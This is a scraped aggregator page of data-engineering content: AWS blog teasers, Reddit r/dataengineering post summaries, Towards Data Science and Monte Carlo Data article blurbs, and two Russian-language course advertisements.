How Amazon Devices scaled and optimized real-time demand and supply forecasts using serverless analytics

Every day, Amazon devices process and analyze billions of transactions from global shipping, inventory, capacity, supply, sales, marketing, producers, and customer service teams. This data is used in procuring devices’ inventory to meet Amazon customers’ demands. With data volumes exhibiting a double-digit percentage growth rate year on year and the COVID pandemic disrupting global logistics […]

3 days, 12 hours назад @ aws.amazon.com
How to decide between Amazon Rekognition image and video API for video moderation
How to decide between Amazon Rekognition image and video API for video moderation

Almost 80% of today’s web content is user-generated, creating a deluge of content that organizations struggle to analyze with human-only processes. The availability of consumer information helps them make decisions, from buying a new pair of jeans to securing home loans. In a recent survey, 79% of consumers stated they rely on user videos, comments, […]

3 days, 13 hours назад @ aws.amazon.com
Amazon EMR launches support for Amazon EC2 C7g (Graviton3) instances to improve cost performance for Spark workloads by 7–13%
Amazon EMR launches support for Amazon EC2 C7g (Graviton3) instances to improve cost performance for Spark workloads by 7–13%

Amazon EMR provides a managed service to easily run analytics applications using open-source frameworks such as Apache Spark, Hive, Presto, Trino, HBase, and Flink. The Amazon EMR runtime for Spark and Presto includes optimizations that provide over twice the performance improvements compared to open-source Apache Spark and Presto. With Amazon EMR release 6.7, you can […]

3 days, 16 hours назад @ aws.amazon.com
Scaling distributed training with AWS Trainium and Amazon EKS
Scaling distributed training with AWS Trainium and Amazon EKS

Recent developments in deep learning have led to increasingly large models such as GPT-3, BLOOM, and OPT, some of which are already in excess of 100 billion parameters. Although larger models tend to be more powerful, training such models requires significant computational resources. Even with the use of advanced distributed training libraries like FSDP and […]

3 days, 16 hours назад @ aws.amazon.com
Improve observability by using Amazon RDS Custom for SQL Server with Telegraf and Amazon Grafana
Improve observability by using Amazon RDS Custom for SQL Server with Telegraf and Amazon Grafana

You can use open source monitoring solutions like Telegraf, InfluxDB, and Grafana to monitor your applications and databases running on-premises or on Amazon Elastic Compute Cloud (Amazon EC2). In this post, we explain how you can leverage these tools on Amazon Relational Database Service (Amazon RDS) Custom for SQL Server. Use of open source software […]

3 days, 19 hours назад @ aws.amazon.com
AWS Lake Formation 2022 year in review
AWS Lake Formation 2022 year in review

Data governance is the collection of policies, processes, and systems that organizations use to ensure the quality and appropriate handling of their data throughout its lifecycle for the purpose of generating business value. Data governance is increasingly top-of-mind for customers as they recognize data as one of their most important assets. Effective data governance enables […]

4 days, 10 hours назад @ aws.amazon.com
Visualize multivariate data using a radar chart in Amazon QuickSight
Visualize multivariate data using a radar chart in Amazon QuickSight

At AWS re:Invent 2022, we announced the general availability of two new Amazon QuickSight visuals: small multiples and text boxes. We are excited to add another new visual to QuickSight: radar charts. With radar charts, you can compare two or more items across multiple variables in QuickSight. In this post, we explore radar charts, its […]

4 days, 13 hours назад @ aws.amazon.com
Migrate your indexes to Amazon OpenSearch Serverless with Logstash
Migrate your indexes to Amazon OpenSearch Serverless with Logstash

We recently announced the general availability of Amazon OpenSearch Serverless , a new option for Amazon OpenSearch Service that makes it easy run large-scale search and analytics workloads without having to configure, manage, or scale OpenSearch clusters. With OpenSearch Serverless, you get the same interactive millisecond response times as OpenSearch Service with the simplicity of […]

4 days, 13 hours назад @ aws.amazon.com
Serverless logging with Amazon OpenSearch Service and Amazon Kinesis Data Firehose
Serverless logging with Amazon OpenSearch Service and Amazon Kinesis Data Firehose

In this post, you will learn how you can use Amazon Kinesis Data Firehose to build a log ingestion pipeline to send VPC flow logs to Amazon OpenSearch Serverless. First, you create the OpenSearch Serverless collection you use to store VPC flow logs, then you create a Kinesis Data Firehose delivery pipeline that forwards the […]

4 days, 13 hours назад @ aws.amazon.com
AWS
последний пост 1 day, 16 hours назад
Create more partitions and retain data for longer in your MSK Serverless clusters
Create more partitions and retain data for longer in your MSK Serverless clusters

In April 2022, Amazon Managed Streaming for Apache Kafka (Amazon MSK) launched an exciting new capability, Amazon MSK Serverless. Amazon MSK is a fully managed service for Apache Kafka that makes it easier for developers to build and run highly available, secure, and scalable applications based on Apache Kafka. With MSK Serverless, developers can run […]

5 days, 11 hours назад @ aws.amazon.com
Scaling DynamoDB: How partitions, hot keys, and split for heat impact performance (Part 3: Summary and best practices)
Scaling DynamoDB: How partitions, hot keys, and split for heat impact performance (Part 3: Summary and best practices)

In Part 1 of this series, you learned about Amazon DynamoDB data loading strategies and the behavior of DynamoDB during short runs. In Part 2, you learned about query performance and the adaptive behavior of DynamoDB during sustained activity. In this third and final post, we review what you’ve learned, plus offer a few additional […]

5 days, 15 hours назад @ aws.amazon.com
Scaling DynamoDB: How partitions, hot keys, and split for heat impact performance (Part 2: Querying)
Scaling DynamoDB: How partitions, hot keys, and split for heat impact performance (Part 2: Querying)

In the Part 1 of this series, you learned about Amazon DynamoDB data loading strategies and the behavior of DynamoDB during short runs. In this post, you learn about query performance and the adaptive behavior of DynamoDB during sustained activity. Querying To drive traffic at arbitrarily large rates and simulate real-world behavior, we need a […]

5 days, 15 hours назад @ aws.amazon.com
Run Apache Spark workloads 3.5 times faster with Amazon EMR 6.9
Run Apache Spark workloads 3.5 times faster with Amazon EMR 6.9

In this post, we analyze the results from our benchmark tests running a TPC-DS application on open-source Apache Spark and then on Amazon EMR 6.9, which comes with an optimized Spark runtime that is compatible with open-source Spark. We walk through a detailed cost analysis and finally provide step-by-step instructions to run the benchmark. With Amazon EMR 6.9.0, you can now run your Apache Spark 3.x applications faster and at lower cost without requiring any changes to your applications. In our performance benchmark tests, derived from TPC-DS performance tests at 3 TB scale, we found the EMR runtime for Apache Spark 3.3.0 provides a 3.5 times (using total runtime) performance improvement o…

5 days, 15 hours назад @ aws.amazon.com
Scaling DynamoDB: How partitions, hot keys, and split for heat impact performance (Part 1: Loading)
Scaling DynamoDB: How partitions, hot keys, and split for heat impact performance (Part 1: Loading)

The general rule with Amazon DynamoDB is to choose a high cardinality partition key. But why; and what happens if you don’t? Inspired by a customer use case, we dive deep into this question and explore the performance of loading and querying DynamoDB using different partition key designs and table settings. After each experiment, we […]

5 days, 16 hours назад @ aws.amazon.com
Handle UPSERT data operations using open-source Delta Lake and AWS Glue
Handle UPSERT data operations using open-source Delta Lake and AWS Glue

Many customers need an ACID transaction (atomic, consistent, isolated, durable) data lake that can log change data capture (CDC) from operational data sources. There is also demand for merging real-time data into batch data. Delta Lake framework provides these two capabilities. In this post, we discuss how to handle UPSERTs (updates and inserts) of the […]

5 days, 16 hours назад @ aws.amazon.com
Amazon SageMaker built-in LightGBM now offers distributed training using Dask
Amazon SageMaker built-in LightGBM now offers distributed training using Dask

Amazon SageMaker provides a suite of built-in algorithms, pre-trained models, and pre-built solution templates to help data scientists and machine learning (ML) practitioners get started on training and deploying ML models quickly. You can use these algorithms and models for both supervised and unsupervised learning. They can process various types of input data, including tabular, […]

5 days, 16 hours назад @ aws.amazon.com
Build a water consumption forecasting solution for a water utility agency using Amazon Forecast
Build a water consumption forecasting solution for a water utility agency using Amazon Forecast

Amazon Forecast is a fully managed service that uses machine learning (ML) to generate highly accurate forecasts, without requiring any prior ML experience. Forecast is applicable in a wide variety of use cases, including estimating supply and demand for inventory management, travel demand forecasting, workforce planning, and computing cloud infrastructure usage. You can use Forecast […]

5 days, 16 hours назад @ aws.amazon.com
Build a data lake with Apache Flink on Amazon EMR
Build a data lake with Apache Flink on Amazon EMR

To build a data-driven business, it is important to democratize enterprise data assets in a data catalog. With a unified data catalog, you can quickly search datasets and figure out data schema, data format, and location. The AWS Glue Data Catalog provides a uniform repository where disparate systems can store and find metadata to keep […]

1 week, 1 day назад @ aws.amazon.com
Advanced reporting and analytics for the Post Call Analytics (PCA) solution with Amazon QuickSight
Advanced reporting and analytics for the Post Call Analytics (PCA) solution with Amazon QuickSight

Organizations with contact centers benefit from advanced analytics on their call recordings to gain important product feedback, improve contact center efficiency, and identify coaching opportunities for their staff. The Post Call Analytics (PCA) solution uses AWS machine learning (ML) services like Amazon Transcribe and Amazon Comprehend to extract insights from contact center call audio recordings […]

1 week, 1 day назад @ aws.amazon.com
Deliver Operational Insights to Atlassian Opsgenie using DevOps Guru
Deliver Operational Insights to Atlassian Opsgenie using DevOps Guru

As organizations continue to grow and scale their applications, the need for teams to be able to quickly and autonomously detect anomalous operational behaviors becomes increasingly important. Amazon DevOps Guru offers a fully managed AIOps service that enables you to improve application availability and resolve operational issues quickly. DevOps Guru helps ease this process by […]

1 week, 1 day назад @ aws.amazon.com
Diligent enhances customer governance with automated data-driven insights using Amazon QuickSight
Diligent enhances customer governance with automated data-driven insights using Amazon QuickSight

This post is co-written with Vidya Kotamraju and Tallis Hobbs, from Diligent. Diligent is the global leader in modern governance, providing software as a service (SaaS) services across governance, risk, compliance, and audit, helping companies meet their environmental, social, and governance (ESG) commitments. Serving more than 1 million users from over 25,000 customers around the […]

1 week, 1 day назад @ aws.amazon.com
Differences to expect when migrating from Azure Cosmos DB to Amazon DynamoDB
Differences to expect when migrating from Azure Cosmos DB to Amazon DynamoDB

Customers who are considering migrating their Azure Cosmos DB workloads to Amazon DynamoDB ask what differences to expect. In this post, we discuss the differences to expect and plan for when migrating from Azure Cosmos DB to DynamoDB. DynamoDB is a serverless key-value database optimized for common access patterns, typically to store and retrieve large […]

1 week, 1 day назад @ aws.amazon.com
Introducing native support for Apache Hudi, Delta Lake, and Apache Iceberg on AWS Glue for Apache Spark, Part 1: Getting Started
Introducing native support for Apache Hudi, Delta Lake, and Apache Iceberg on AWS Glue for Apache Spark, Part 1: Getting Started

AWS Glue is a serverless, scalable data integration service that makes it easier to discover, prepare, move, and integrate data from multiple sources. AWS Glue provides an extensible architecture that enables users with different data processing use cases. A common use case is building data lakes on Amazon Simple Storage Service (Amazon S3) using AWS […]

1 week, 2 days назад @ aws.amazon.com
Automate deployment and version updates for Amazon Kinesis Data Analytics applications with AWS CodePipeline
Automate deployment and version updates for Amazon Kinesis Data Analytics applications with AWS CodePipeline

Amazon Kinesis Data Analytics is the easiest way to transform and analyze streaming data in real time using Apache Flink. Customers are already using Kinesis Data Analytics to perform real-time analytics on fast-moving data generated from data sources like IoT sensors, change data capture (CDC) events, gaming, social media, and many others. Apache Flink is […]

1 week, 2 days назад @ aws.amazon.com
Astronomer Astronomer
последний пост None
DBT — Data Build Tool DBT — Data Build Tool
последний пост None
FiveTran FiveTran
последний пост None
DataBricks
последний пост None
Mix
/r/DataEngineering
последний пост 1 час назад
Airflow dags - structure and naming
Airflow dags - structure and naming

How do you structure (and name) your Airflow dags? For example, we have a dag that runs an ingestion from all different sources at EOD. Then there is another dag that (creates some data aggregates) has an external sensor and when the first dag is finished, this starts its run. The problem I have with it is when I need to reload only few parts of ingestion dag and then following parts of the aggregates dag, it is too slow, manual work and not error prone (or I would have to rerun entire dags). I am thinking of building a “horizontal” dag instead of this “vertical” one, meaning one dag would have one source and all its dependencies. Or another way would be to have one gigantic dag (probably n…

1 час назад @ reddit.com
New resume, trying to get into Data Engineering
New resume, trying to get into Data Engineering New resume, trying to get into Data Engineering

Hi I've made some changes in my resume and I'm looking for some feedback. I'm trying to get a entry level Data Engineering job. Thanks! submitted by /u/FarFaithlessness8812 [link] [comments]

3 часа назад @ reddit.com
Leetcode/Hackerrank/CodeSignal Opinion
Leetcode/Hackerrank/CodeSignal Opinion

I'm in the job market for a Full Time role as a Sr. Data Engineer. I'm currently consulting for two companies and want a role with benefits at the moment. I absolutely bombed a hackerrank test from one company. I hadn't touched any practice problems since March of last year when I interviewed for Meta. They gave me 24 hours to complete the assessment, so it went as expected. I got asked by another company to complete a CodeSignal assessment. I spend about 10 hours today going through EASY practice problems on all of the sites in the subject line and couldn't complete a single question without help. I'm sure with time it would get better, but working 10-12 hours a day does not offer that kin…

6 часов назад @ reddit.com
Veteran, How can a newbie prepare for a career in DE ??
Veteran, How can a newbie prepare for a career in DE ??

Hey folks! I enjoyed going over the discussion and learning a lot along the way, and I finally got some courage to ask for advice and guidance. I recently graduated with my BSc in Computer science with a major in Data analytics. I enjoy building systems and working on something that would automate some tasks. I wandered around various domains in cs at one point, even Quantum Computing. My first real job during and out of college was for a company building static code analytics tools. I worked a lot around the building and maintaining their data systems. Soon, I was asked to help develop an ETL pipeline using dask(deployed to GKE ). Ideally, the aim was to create a pipeline to train and eval…

8 часов назад @ reddit.com
Why everybody's using Airflow while no-one seems to be happy with it?
Why everybody's using Airflow while no-one seems to be happy with it?

Airflow seems to be one of these technologies that is everywhere used while most people that I've talked with aren't happy working with it. Also, commercial solutions for orchestration like Astronomer and Dagster, don't feel like are threatening Airflow that much yet which again feels a bit counterintuitive considering the sentiments around Airflow in general. This might be just be a result of selection bias in my sample of cases so I thought to ask here and see how people feel about Airflow and what makes them feel like that towards it, both positive and negative. submitted by /u/cpardl [link] [comments]

12 часов назад @ reddit.com
Advice for Current Data Engineering
Advice for Current Data Engineering

I worked as a database and ETL developer from 1998 to 2015. I mainly used bash, sql, pl/sql, and SAP Data Services. What do I need to learn to perform a data engineering role today? submitted by /u/Xenos865D [link] [comments]

12 часов назад @ reddit.com
“Streaming” data processing using asynchronous generators in python
“Streaming” data processing using asynchronous generators in python

Does anybody process data (do ETL) in a “streaming” fashion using python asynchronous generators? I mean e. g. use some dataset and then iterating over each row and performing some operation on it. How common is such approach? Is there any library supporting such use case? submitted by /u/romanzdk [link] [comments]

12 часов назад @ reddit.com
What pandas alternative (excl. Spark) you use the most? Comment/Reason appreciated.
What pandas alternative (excl. Spark) you use the most? Comment/Reason appreciated.

What of the pandas alternatives (excl. Spark) do you use the most? Reason appreciated. View Poll submitted by /u/romanzdk [link] [comments]

13 часов назад @ reddit.com
Parquet files for Big Data
Parquet files for Big Data

Hello, I wrote 3 articles about Parquet file format, I'll be glad to know what you think of them: - Simple Parquet Tutorial and Best Practices - Parquet Best Practices: Discover your Data without loading it - Parquet Best Practices: The Art of Filtering submitted by /u/Arli84 [link] [comments]

13 часов назад @ reddit.com
When to add internal values to ingested data
When to add internal values to ingested data

I’m learning about the modern data stack and have a question about when and how is the best time to add internal values. Use case is ingesting data from various advertising platforms. On these ad platforms we have several advertising accounts. When we bring the data in we need to map the advertiser accounts to internal business units and countries. I’m looking to learn what best practice looks like for the following use cases: 1) lookup the advertisingid and add the columns 2) what to do with rows from source system where we haven’t maintained the mapping entry yet? Some kind of dead letter queue setup or something? 3) the data from the source system will be brought in with a rolling time p…

13 часов назад @ reddit.com
Vaga p/ participar de projetos open source na área de engenharia de dados
Vaga p/ participar de projetos open source na área de engenharia de dados

Olá pessoal, Boa tarde. Como vão ? Me chamo Andréia, trabalho na área de engenharia de dados, mas estou me atualizando com as ferramentas modernas do mercado como Apache Airflow, Apache Kafka, PySpark e por aí vai. Gostaria de ter uma oportunidade para trabalhar em algum projeto open source que tenham essas tecnologias. Fico à disposição p/ falarmos melhor sobre. Segue meu contato 11 985732738. Abraços. submitted by /u/AndreiaMedeiros [link] [comments]

13 часов назад @ reddit.com
AWS DE and Databricks Certs
AWS DE and Databricks Certs

The AWS Certified Big Data or Databricks certs both look interesting and would fill in an experience gap for me. But I would be really concerned about running up a huge bill of hundreds of dollars with those types of services while learning. In my experience, it is really easy to forget to tear everything down within a cloud platform and miss something, and I'd probably be stressed about it constantly. From what I know, Databricks has a community edition and then of course there's AWS free tier. But free tier is a pittance for most "big data" services. Anyone have some experience with either or both for certification study? I lean towards Databricks just because I'm more interested in the S…

14 часов назад @ reddit.com
What pandas alternative you use the most?
What pandas alternative you use the most?

Which of the “latest” pandas alternatives (excl. Spark) do you use the most? Also, if you could share the reason I would appreciate it. View Poll submitted by /u/romanzdk [link] [comments]

14 часов назад @ reddit.com
Need help on best practice for building a data warehouse
Need help on best practice for building a data warehouse

I am working on a start-up where we will have 0-10 million of rows stored in our database daily, and about 500k users. I am very new to data engineering but have some solid background. The thing is, the database need to have high read and write capacity. Users will use search functions in our mobile app to get rows of data to their phone. At the same time it needs to take in many new rows of data. What are efficient ways to build a data warehouse with theese needs? I was looking at azure data lake storage and google bigTable as possible solutions.can someone give me some insight and opinion on how i should tackle this problem? submitted by /u/Responsible_Hawk8015 [link] [comments]

16 часов назад @ reddit.com
Statistical programmer vs Data engineer. Which one is a better job(salary/demand/work-life balance/career growth)?
Statistical programmer vs Data engineer. Which one is a better job(salary/demand/work-life balance/career growth)?

Please give your insights by the metrics bellow: Statistical programmer vs Data engineer. Who will win? Salary Supply-demand curve. Which one has more jobs (i.e. better burgaining power)? Work-life balance Future career growth (i.e. more recession-proof) submitted by /u/Born-Comment3359 [link] [comments]

17 часов назад @ reddit.com
Towards Data Science
последний пост 1 day, 3 hours назад
Building a LAS File Data Explorer App with Streamlit
Building a LAS File Data Explorer App with Streamlit Building a LAS File Data Explorer App with Streamlit

Exploring Log ASCII Standard files using Python and StreamlitContinue reading on Towards Data Science »

1 day, 3 hours назад @ towardsdatascience.com
Datasets to Train, Validate, and Evaluate Machine Translation
Datasets to Train, Validate, and Evaluate Machine Translation Datasets to Train, Validate, and Evaluate Machine Translation

Select, check, and splitContinue reading on Towards Data Science »

1 day, 4 hours назад @ towardsdatascience.com
Mastering Containerization: A Guide to Creating Docker-Like Environments without Docker
Mastering Containerization: A Guide to Creating Docker-Like Environments without Docker Mastering Containerization: A Guide to Creating Docker-Like Environments without Docker

Unlocking the power of containerization: A step-by-step tutorial on building container-like environments.Continue reading on Towards Data Science »

1 day, 4 hours назад @ towardsdatascience.com
Stable Diffusion as an API
Stable Diffusion as an API Stable Diffusion as an API

Remove people from photos with a Stable Diffusion microserviceContinue reading on Towards Data Science »

1 day, 4 hours назад @ towardsdatascience.com
Elliot Activation Function: What Is It and Is It Effective?
Elliot Activation Function: What Is It and Is It Effective? Elliot Activation Function: What Is It and Is It Effective?

What is the Elliot activation function and is it a good alternative to the other activation functions used in neural networks?Continue reading on Towards Data Science »

1 day, 7 hours назад @ towardsdatascience.com
Creating a Dutch question-answering machine learning model
Creating a Dutch question-answering machine learning model Creating a Dutch question-answering machine learning model

NLP TutorialCreating a new dataset by using NLP translationPipeline for the creation of a Dutch question-answering modelNatural language processing models are currently a hot topic. The release of ‘Attention Is All You Need’ by Google [1] has spurred the development of many Transformer models like BERT, GPT-3, and ChatGPT which have received a lot of attention all over the world. While many language models are trained on English or multiple languages, models and datasets for specific languages can be difficult to find or of questionable quality.NLP has a vast amount of applications including but not limited to translation, information extraction, summarization and question answering, the la…

1 day, 10 hours назад @ towardsdatascience.com
Back To Basics, Part Dos: Linear Regression, Cost Function, and Gradient Descent
Back To Basics, Part Dos: Linear Regression, Cost Function, and Gradient Descent Back To Basics, Part Dos: Linear Regression, Cost Function, and Gradient Descent

An accessible perspective on essential machine learning conceptsContinue reading on Towards Data Science »

1 day, 10 hours назад @ towardsdatascience.com
These 7 Programming Habits Are Making You a Less Productive Data Scientist
These 7 Programming Habits Are Making You a Less Productive Data Scientist These 7 Programming Habits Are Making You a Less Productive Data Scientist

Fixing these habits can make you a more efficient data scientistContinue reading on Towards Data Science »

1 day, 10 hours назад @ towardsdatascience.com
How to Find the Best Theoretical Distribution for Your Data.
How to Find the Best Theoretical Distribution for Your Data. How to Find the Best Theoretical Distribution for Your Data.

Knowing the underlying data distribution is an essential step for data modeling and has many applications, such as anomaly detection…Continue reading on Towards Data Science »

1 day, 10 hours назад @ towardsdatascience.com
Data Integration Strategies for Time Series Databases
Data Integration Strategies for Time Series Databases Data Integration Strategies for Time Series Databases

Exploring popular data integration strategies for TSDBs including ETL, ELT, and CDCContinue reading on Towards Data Science »

1 day, 15 hours назад @ towardsdatascience.com
Back to the Future: Analyzing Time Series Data with Markov Transition Matrices
Back to the Future: Analyzing Time Series Data with Markov Transition Matrices Back to the Future: Analyzing Time Series Data with Markov Transition Matrices

Conceptual overview and practical applicationsImage by Oto Godfrey and Justin Morton from Wikimedia Commons: Free to use under CC-BY-SA-4.0 licenseIn this article, we will look at how reframing time series data using Markov transition matrices can yield interesting descriptive insights as well as elegant approaches for forecasting, backcasting, and the analysis of convergence. Going backwards and forwards in time — just like Doc’s retro-fitted DeLorean time machine in the sci-fi classic Back to the Future.Note: All images of equations and diagrams in the following sections have been created by the author of this article.Basic Building BlocksLet E define the set of k unique events that make …

1 day, 15 hours назад @ towardsdatascience.com
Uncovering the Pioneering Journey of Word2Vec and the State of AI science — an in-depth interview…
Uncovering the Pioneering Journey of Word2Vec and the State of AI science — an in-depth interview… Uncovering the Pioneering Journey of Word2Vec and the State of AI science — an in-depth interview…

Photo by Finding Dan | Dan Grinwis on UnsplashUncovering the Pioneering Journey of Word2Vec and the State of AI ScienceAn in-depth interview with Dr. Tomas MikolovIn 2012, Dr Tomas Mikolov received his PhD in Artificial Intelligence at the Brno University of Technology in the Czech Republic with a thesis named ‘Statistical Language Models Based on Neural Networks’. Working for Google Research, a year later, he published two highly influential papers in which he introduced the Continuous Bag of Words (CBOW) and skip-gram algorithms, also known as Word2Vec. As a result, words could be numerically represented in a dense continuous space following a simple training procedure. This was one of th…

1 day, 15 hours назад @ towardsdatascience.com
Four Steps to Remove Analytics Waste
Four Steps to Remove Analytics Waste Four Steps to Remove Analytics Waste

Accelerate Decision Making by Removing Analytics WasteCar Wash — Photo Courtesy of Author David E SweenorThink about the role of analytics in the decision-making process in your organization. Does it seem to you that analytics are being used efficiently or effectively? Or can you see ways in which precious time and resources are being wasted? In an economy where managers lose more than a half-million days per year on ineffective decision making, the opportunity to reduce waste is huge at all levels.You’re not alone when you suspect that your organization has picked the wrong business partner or skated to where the puck used to be. Maybe the problem is that you rely too much on consensus, yo…

1 day, 15 hours назад @ towardsdatascience.com
Data Science Team Topologies
Data Science Team Topologies Data Science Team Topologies

How data product development diverges from softwarePhoto by Alina Grubnyak on UnsplashToday, we will discuss data science team topologies and how they differ from your typical software teams. How accurate is our thesis? Stick with me, and let's see if we can make a solid argument for it.Building a data science team has a few key differences compared to a traditional software development team. From the roles and responsibilities of team members to the tools and processes used, data science teams require a unique approach to ensure they are set up for success. We'll explore some things to consider when building a data science team, including the importance of cross-functional collaboration, s…

1 day, 15 hours назад @ towardsdatascience.com
Are You Still Using the Elbow Method?
Are You Still Using the Elbow Method? Are You Still Using the Elbow Method?

The Elbow method is still the most popular way to find the number of clusters for k-means. But there are much better alternativesContinue reading on Towards Data Science »

1 day, 18 hours назад @ towardsdatascience.com
Monte Carlo Data Monte Carlo Data
последний пост 4 days, 9 hours назад
How Checkout.com Achieves Data Reliability at Scale with Monte Carlo
How Checkout.com Achieves Data Reliability at Scale with Monte Carlo How Checkout.com Achieves Data Reliability at Scale with Monte Carlo

Learn how Checkout.com gained visibility into data across domains, scaled data quality checks, and achieve reliability at scale.

4 days, 9 hours назад @ montecarlodata.com
Data Contracts: Silver Bullet or False Panacea? 3 Open Questions
Data Contracts: Silver Bullet or False Panacea? 3 Open Questions Data Contracts: Silver Bullet or False Panacea? 3 Open Questions

Three open questions data contracts still need to answer for engineering teams.

4 days, 20 hours назад @ montecarlodata.com
Monte Carlo Recognized as Winter 2023 Data Observability Leader by G2
Monte Carlo Recognized as Winter 2023 Data Observability Leader by G2 Monte Carlo Recognized as Winter 2023 Data Observability Leader by G2

Monte Carlo was recognized as a Winter 2023 Data Observability leader by G2 peer-to-peer review site.

1 week, 3 days назад @ montecarlodata.com
Build vs Buy Your Data Warehouse, Lake, or Lakehouse
Build vs Buy Your Data Warehouse, Lake, or Lakehouse Build vs Buy Your Data Warehouse, Lake, or Lakehouse

There's no one-size fits all answer to building or buying your data platform. In this piece we discuss the decision to build vs buy data warehouse, data lake, and data lakehouse solutions.

1 week, 3 days назад @ montecarlodata.com
Implementing Data Contracts in the Data Warehouse
Implementing Data Contracts in the Data Warehouse Implementing Data Contracts in the Data Warehouse

Getting started with data contracts? Here's how to implement data contracts in your data warehouse across your critical production tables.

1 week, 3 days назад @ montecarlodata.com
Data Fabric vs. Data Mesh: Everything You Need to Know
Data Fabric vs. Data Mesh: Everything You Need to Know Data Fabric vs. Data Mesh: Everything You Need to Know

Building a data fabric? Here's everything you need to know about this emerging architecture taking the data world by storm.

1 week, 4 days назад @ montecarlodata.com
The 31 Flavors of Data Lineage And Why Vanilla Doesn’t Cut It
The 31 Flavors of Data Lineage And Why Vanilla Doesn’t Cut It The 31 Flavors of Data Lineage And Why Vanilla Doesn’t Cut It

4 critical reasons why your data observability solution needs to have data lineage.

1 week, 5 days назад @ montecarlodata.com
How Blend Scales the Impact of Reliable Data with dbt Cloud and Monte Carlo
How Blend Scales the Impact of Reliable Data with dbt Cloud and Monte Carlo How Blend Scales the Impact of Reliable Data with dbt Cloud and Monte Carlo

Discover how Blend’s data team leverages Monte Carlo and dbt Cloud to reduce compute costs and deliver more reliable data at scale.

2 weeks, 3 days назад @ montecarlodata.com
Why Data Governance Matters, Best Practices, and How to Build a Strategy
Why Data Governance Matters, Best Practices, and How to Build a Strategy Why Data Governance Matters, Best Practices, and How to Build a Strategy

Building a data governance strategy? Here's everything you need to know.

2 weeks, 4 days назад @ montecarlodata.com
Freshly’s Journey to Building Their 5-Layer Data Platform Architecture
Freshly’s Journey to Building Their 5-Layer Data Platform Architecture Freshly’s Journey to Building Their 5-Layer Data Platform Architecture

How Freshly, a leading meal delivery service, built a more reliable data platform architecture with Snowflake, Fivetran, dbt, Looker, and Monte Carlo.

3 weeks, 2 days назад @ montecarlodata.com
Meaningful Product Experimentation: 5 Impactful Data Projects for Building Better Products
Meaningful Product Experimentation: 5 Impactful Data Projects for Building Better Products Meaningful Product Experimentation: 5 Impactful Data Projects for Building Better Products

How data teams and product leaders can do product experimentation right and other impactful data projects for building better products.

4 weeks, 1 day назад @ montecarlodata.com
How Collaborative Imaging Delivers Healthier Data Products with Monte Carlo
How Collaborative Imaging Delivers Healthier Data Products with Monte Carlo How Collaborative Imaging Delivers Healthier Data Products with Monte Carlo

In healthcare, bad data can have severe implications. Here's how Collaborative Imaging uses Monte Carlo to drive data health at scale.

1 month назад @ montecarlodata.com
Top 5 Data Engineering Deep Dives in 2022
Top 5 Data Engineering Deep Dives in 2022 Top 5 Data Engineering Deep Dives in 2022

How do you engineer field-level lineage, data anomaly monitors, Spark lineage, or data pipeline circuit breakers? We’re glad you asked.

1 month, 1 week назад @ montecarlodata.com
Our Top 5 Data Mesh Articles In 2022
Our Top 5 Data Mesh Articles In 2022 Our Top 5 Data Mesh Articles In 2022

We focused on implementation best practices for one of our favorite data quality topics: the data mesh.

1 month, 1 week назад @ montecarlodata.com
Our Top 5 Most Popular Data Engineering Articles In 2022
Our Top 5 Most Popular Data Engineering Articles In 2022 Our Top 5 Most Popular Data Engineering Articles In 2022

Data mesh, data observability, data contracts, data platforms and our other most popular data engineering articles.

1 month, 1 week назад @ montecarlodata.com
DE Telegram
DataEng DataEng
последний пост 3 days, 19 hours назад
💣 Собираетесь переходить в дата-инжиниринг? 🚀 Присоединяйтесь 7 февраля в 20:00 мск на открытый урок онлайн-курса «Data Engineer» в OTUS. 🟠 Тема вебинара — Clickhouse vs. Greenplum. Какую MPP базу данных выбрать?❇️ Вы узнаете:🔸 Что такое MPP-БД на самом де
💣 Собираетесь переходить в дата-инжиниринг? 🚀 Присоединяйтесь 7 февраля в 20:00 мск на открытый урок онлайн-курса «Data Engineer» в OTUS. 🟠 Тема вебинара — Clickhouse vs. Greenplum. Какую MPP базу данных выбрать?❇️ Вы узнаете:🔸 Что такое MPP-БД на самом де 💣 Собираетесь переходить в дата-инжиниринг? 🚀 Присоединяйтесь 7 февраля в 20:00 мск на открытый урок онлайн-курса «Data Engineer» в OTUS. 🟠 Тема вебинара — Clickhouse vs. Greenplum. Какую MPP базу данных выбрать?❇️ Вы узнаете:🔸 Что такое MPP-БД на самом де

💣 Собираетесь переходить в дата-инжиниринг? 🚀 Присоединяйтесь 7 февраля в 20:00 мск на открытый урок онлайн-курса «Data Engineer» в OTUS. 🟠 Тема вебинара — Clickhouse vs. Greenplum. Какую MPP базу данных выбрать?❇️ Вы узнаете:🔸 Что такое MPP-БД на самом деле🔸 Познакомитесь с различными представителями таких систем🔸 Разберетесь, когда и в каких случаях стоит выбирать каждую из них🔸 На практике изучите наглядные примеры работы БД Clickhouse и Greenplum💻 Спикером выступит Алексей Железной, преподаватель курса и Data Engineer в компании Wildberries.🔥 Пройдите вступительный тест, чтобы участвовать: https://otus.pw/GxBr/Реклама. Информация о рекламодателе на сайте www.otus.ru.

3 days, 19 hours назад @ t.me
🔥 Хотите перейти в область дата-инжиринга и работать с большими данными? 👉 Сделайте первые шаги в этом направлении на открытом уроке онлайн-курса «Data Engineer» в OTUS! 27 января в 20:00 мск пройдет вебинар «Elasticsearch как NoSQL хранилище документов».
🔥 Хотите перейти в область дата-инжиринга и работать с большими данными? 👉 Сделайте первые шаги в этом направлении на открытом уроке онлайн-курса «Data Engineer» в OTUS! 27 января в 20:00 мск пройдет вебинар «Elasticsearch как NoSQL хранилище документов». 🔥 Хотите перейти в область дата-инжиринга и работать с большими данными? 👉 Сделайте первые шаги в этом направлении на открытом уроке онлайн-курса «Data Engineer» в OTUS! 27 января в 20:00 мск пройдет вебинар «Elasticsearch как NoSQL хранилище документов».

🔥 Хотите перейти в область дата-инжиринга и работать с большими данными? 👉 Сделайте первые шаги в этом направлении на открытом уроке онлайн-курса «Data Engineer» в OTUS! 27 января в 20:00 мск пройдет вебинар «Elasticsearch как NoSQL хранилище документов». Глубокое понимание этого инструмента — ключевой момент для его правильного применения.💻 В результате урока вы:🔸 Изучите классификацию NoSQL СУБД🔸 Узнаете про отличительные черты Elasticsearch и его применимости к разным задачам🔸 Узнаете, почему Elasticsearch — одних из наиболее популярных инструментов для создания поисковых датасетов в современном мире🔸 Поймете, чем так хорош Elasticsearch и задумаетесь об его внедрении в вашей команде🟢 Чт…

1 week, 3 days назад @ t.me
